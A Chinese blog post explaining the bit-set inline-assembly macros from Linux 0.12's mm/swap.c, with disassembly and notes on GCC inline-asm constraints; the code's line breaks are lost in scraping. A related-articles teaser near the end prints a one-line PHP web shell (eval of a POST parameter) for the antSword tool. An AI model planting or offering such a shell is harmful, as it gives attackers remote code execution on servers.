linux內核bitmap之setbit匯編實現

內核版本:kernel 0.12

首先看一段代碼,下面這段代碼來自內核版本0.12的mm/swap.c中:

// mm/swap.c
#define bitop(name,op) \static inline int name(char * addr,unsigned int nr) \
{ \int __res; \__asm__ __volatile__("bt" op " %1,%2; adcl $0,%0" \:"=g" (__res) \:"r" (nr),"m" (*(addr)),"0" (0)); \return __res; \
}bitop(bit,"")
bitop(setbit,"s")
bitop(clrbit,"r")

這段代碼通過宏定義了三個位操作函數,分別是 bit() 測試位,setbit() 置位,clrbit() 清除位。

將上述代碼進行改造,對setbit()封裝后:

// main.c
#define bitop(name,op) \static inline int name(char * addr,unsigned int nr) \
{ \int __res; \__asm__ __volatile__("bt" op " %1,%2; adcl $0,%0" \:"=g" (__res) \:"r" (nr),"m" (*(addr)),"0" (0)); \return __res; \
}bitop(setbit,"s")int do_setbit(char *addr, unsigned int nr)
{return setbit(addr, nr);
}

反匯編后:

執行gcc -c -o main.o main.c && objdump -s -d main.o

0000000000000000 <setbit>:0:	55                   	push   %rbp1:	48 89 e5             	mov    %rsp,%rbp4:	48 89 7d e8          	mov    %rdi,-0x18(%rbp)8:	89 75 e4             	mov    %esi,-0x1c(%rbp)b:	8b 55 e4             	mov    -0x1c(%rbp),%edxe:	48 8b 4d e8          	mov    -0x18(%rbp),%rcx12:	b8 00 00 00 00       	mov    $0x0,%eax       // (1) 清零eax17:	b8 00 00 00 00       	mov    $0x0,%eax1c:	0f ab 11             	bts    %edx,(%rcx)     // (2) bts 置位1f:	83 d0 00             	adc    $0x0,%eax       // (3) adc: eax = eax + 0 + CF22:	89 45 fc             	mov    %eax,-0x4(%rbp)25:	8b 45 fc             	mov    -0x4(%rbp),%eax28:	5d                   	pop    %rbp29:	c3                   	retq   000000000000002a <do_setbit>:2a:	55                   	push   %rbp2b:	48 89 e5             	mov    %rsp,%rbp2e:	48 83 ec 10          	sub    $0x10,%rsp32:	48 89 7d f8          	mov    %rdi,-0x8(%rbp)36:	89 75 f4             	mov    %esi,-0xc(%rbp)39:	8b 55 f4             	mov    -0xc(%rbp),%edx3c:	48 8b 45 f8          	mov    -0x8(%rbp),%rax40:	89 d6                	mov    %edx,%esi42:	48 89 c7             	mov    %rax,%rdi45:	e8 b6 ff ff ff       	callq  0 <setbit>4a:	c9                   	leaveq 4b:	c3                   	retq 

bt: 表示 Bit Test,測試并用原值設置進位值
bts: 表示 Bit Test and Set,設置比特位(設為 1)并用原值設置進位值
btr: 表示 Bit Test and Reset,復位比特位(設為 0)并用原值設置進位值

可以看到在setbit()中最重要的幾步:

(1) 清零eax:"0" (0)

(2) bts 置位:"bt" op " %1,%2

(3) adc: eax = eax + 0 + 溢出標記CFadcl $0,%0

c語言內聯匯編語法含義:

__asm__("匯編語句":輸出寄存器:輸入寄存器:會被修改的寄存器)"="    操作數在指令中是只寫的 (輸出操作數)"r"    通用寄存器, 也就是eax,ebx,ecx,edx,esi,edi中的一個"m"    內存變量"g"    通用寄存器, 或者內存變量"0-9"  表示用它限制的操作數與某個指定的操作數匹配,注意作為限定符字母的 %0-%9 與指令中的 "0"-"9" 的區別,前者代表操作數, 后者描述操作數.%0, %1, %2 分別代表: __res, nr, *addradcl $0,%0 表示:__res(%0) 加上立即數 0($0), 將結果放入 __res(%0)"0" (0) : 第一個"0"表示__res, 第二(0)表示常量0, 整個語句意思是將__res初始化為0, 相當于 __res = 0

參考:

bt/bts/btr 指令

AT&T中的bt匯編指令

GCC 內聯匯編

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/34941.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/34941.shtml
英文地址,請注明出處:http://en.pswp.cn/news/34941.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

蟻劍antSword-maste下載-安裝-使用-一句話木馬

下載 https://github.com/AntSwordProject/antSword 一句話木馬 hack.php腳本 <?php eval($_POST[attack]);?> 安裝 1、安裝完成后啟動 2、初始化&#xff0c;選擇有源碼的目錄 3、連接

03 什么是預訓練(Transformer 前奏)

博客配套視頻鏈接: https://space.bilibili.com/383551518?spm_id_from=333.1007.0.0 b 站直接看 配套 github 鏈接:https://github.com/nickchen121/Pre-training-language-model 配套博客鏈接:https://www.cnblogs.com/nickchen121/p/15105048.html 預訓練有什么用 機器學…

Linux(Web與html)

域名 DNS與域名&#xff1a; 網絡是基于tcp/ip協議進行通信和連接的 tcp/ip協議是五層協議&#xff1a;應用層–傳輸層—網絡層----數據鏈路層----物理層每一臺主機都有一個唯一的地址標識&#xff08;固定的ip地址&#xff0c;用于區分用戶和計算機。 ip地址&#xff1a;由…

深入淺出:MyBatis的使用方法及最佳實踐

這里寫目錄標題 添加MyBatis框架?持配置連接字符串和MyBatis配置連接字符串配置 MyBatis 中的 XML 路徑 添加業務代碼創建數據庫和表添加用戶實體類添加 mapper 接?添加 UserMapper.xml添加 Service層添加 Controller層 增刪改操作增加操作刪除操作修改操作 添加MyBatis框架?…

JVM 基礎

鞏固基礎&#xff0c;砥礪前行 。 只有不斷重復&#xff0c;才能做到超越自己。 能堅持把簡單的事情做到極致&#xff0c;也是不容易的。 JVM 類加載機制 JVM 類加載機制分為五個部分&#xff1a;加載&#xff0c;驗證&#xff0c;準備&#xff0c;解析&#xff0c;初始化&am…

Hadoop安裝完全分布式搭建

1、安裝Hadoop 上傳Hadoop的指定路徑/root/softwares 解壓安裝 cd /root/softwares && tar -zxvf hadoop-2.7.3.tar.gz -C /usr/local配置環境變量 vim /etc/profile # Hadoop Environment export HADOOP_HOME/usr/local/hadoop-2.7.3 export PATH$PATH:$HADOOP_HOM…

openCV使用c#操作攝像頭

效果如下&#xff1a; 1.創建一個winform的窗體項目&#xff08;框架.NET Framework 4.7.2&#xff09; 2.Nuget引入opencv的c#程序包&#xff08;版本最好和我一致&#xff09; 3.后臺代碼 using System; using System.Collections.Generic; using System.ComponentModel;…

用友-NC-Cloud遠程代碼執行漏洞[2023-HW]

用友-NC-Cloud遠程代碼執行漏洞[2023-HW] 一、漏洞介紹二、資產搜索三、漏洞復現PoC小龍POC檢測腳本: 四、修復建議 免責聲明&#xff1a;請勿利用文章內的相關技術從事非法測試&#xff0c;由于傳播、利用此文所提供的信息或者工具而造成的任何直接或者間接的后果及損失&#…

Leetcode-每日一題【劍指 Offer 24. 反轉鏈表】

題目 定義一個函數&#xff0c;輸入一個鏈表的頭節點&#xff0c;反轉該鏈表并輸出反轉后鏈表的頭節點。 示例: 輸入: 1->2->3->4->5->NULL輸出: 5->4->3->2->1->NULL 限制&#xff1a; 0 < 節點個數 < 5000 解題思路 1.題目要求我們反轉…

Windows下運行Tomcat服務時報GC Overhead Limit Exceeded

根本原因是在新建Tomcat作為Windows服務時&#xff0c;系統默認設置的堆內存太小了&#xff0c;我們打開/bin/service.bat文件&#xff0c;將如下圖所示的默認值改大一些就好了 if "%JvmMs%" "" set JvmMs512 if "%JvmMx%" "" set J…

高防cdn和高防服務器有什么不一樣?

高防cdn&#xff1a; 相信很多看過我們文章的小伙伴對cdn已經很了解了&#xff0c;cdn的原理很簡單&#xff0c;就是構建在網絡上的很多個節點&#xff0c;為網站作內容 分發。使用戶就近獲取所需資源。且分配的cdn節點都是高防節點&#xff0c;每個節點都有防御功能。還…

【考研復習】24王道數據結構課后習題代碼|第3章棧與隊列

文章目錄 3.1 棧3.2 隊列3.3 棧和隊列的應用 3.1 棧 int symmetry(linklist L,int n){char s[n/2];lnode *pL->next;int i;for(i0;i<n/2;i){s[i]p->data;pp->next;}i--;if(n%21) pp->next;while(p&&s[i]p->data){i--;pp->next;}if(i-1) return 1;…

Python flask-restful 框架講解

1、簡介 Django 和 Flask 一直都是 Python 開發 Web 的首選&#xff0c;而 Flask 的微內核更適用于現在的云原生微服務框架。但是 Flask 只是一個微型的 Web 引擎&#xff0c;所以我們需要擴展 Flask 使其發揮出更強悍的功能。 python flask框架詳解&#xff1a;https://blog.…

sentinel簡單使用

核心demo&#xff1a; 1 引入依賴: <dependency><groupId>com.alibaba.csp</groupId><artifactId>sentinel-core</artifactId><version>1.8.0</version> </dependency>2 核心代碼&#xff1a; 3 限流保護代碼&#xff1a;…

【Megatron-DeepSpeed】張量并行工具代碼mpu詳解(四):張量并行版Embedding層及交叉熵的實現及測試

相關博客 【Megatron-DeepSpeed】張量并行工具代碼mpu詳解(四)&#xff1a;張量并行版Embedding層及交叉熵的實現及測試 【Megatron-DeepSpeed】張量并行工具代碼mpu詳解(三)&#xff1a;張量并行層的實現及測試 【Megatron-DeepSpeed】張量并行工具代碼mpu詳解(一)&#xff1a…

【HarmonyOS】@ohos.request 上傳下載的那些事兒

【關鍵字】 ohos.request、上傳下載? 【寫在前面】 在進行HarmonyOS應用開發時&#xff0c;可能需要進行上傳或下載文件功能開發&#xff0c;本文章主要進行上傳下載相關功能介紹和一些注意事項及FAQ。 【上傳開發步驟】 步驟1&#xff1a;上傳下載接口需要申請ohos.permis…

GitOps 與 DevOps:了解關鍵差異,為企業做出最佳選擇

在軟件開發領域&#xff0c;GitOps 和 DevOps 是加強協作和實現軟件交付流程自動化的重要技術。雖然這兩種模式都旨在提高軟件開發生命周期的效率&#xff0c;但它們的核心原則和實施方式卻各不相同。 本篇文章將幫助您了解 GitOps 和 DevOps 之間的差異、它們的工作流程&am…

新知識:Monkey 改進版之 App Crawler

原生Monkey 大家知道Monkey是Android平臺上進行壓力穩定性測試的工具&#xff0c;通過Monkey可以模擬用戶觸摸屏幕、滑動、按鍵等偽隨機用戶事件來對設備上的程序進行壓力測試。而原生的Android Monkey存在一些缺陷&#xff1a; 事件太過于隨機&#xff0c;測試有效性大打折扣…

【2023新教程】樹莓派4B開機啟動-樹莓派第一次啟動-樹莓派不使用顯示器啟動-樹莓派從購買到啟動一步一步完全版!

背景 閑來無事&#xff0c;在咸魚上買了一個樹莓派4B。買來配件都十分齊全&#xff0c;于是就想著啟動來測試一下。下面是樹莓派無顯示器第一次啟動的全過程&#xff0c;包含安裝系統。 網上的教程大多需要額外使用顯示器、鼠標、鍵盤之類的外設。然而&#xff0c;樹莓派本身就…

從一到無窮大 #10 討論 Apache IoTDB 大綜述中看到的優勢和不足點

本作品采用知識共享署名-非商業性使用-相同方式共享 4.0 國際許可協議進行許可。 本作品 (李兆龍 博文, 由 李兆龍 創作)&#xff0c;由 李兆龍 確認&#xff0c;轉載請注明版權。 文章目錄 引言問題定義新技術數據模型schemalessTsfile設計雙MemTable高級可擴展查詢其他 IotD…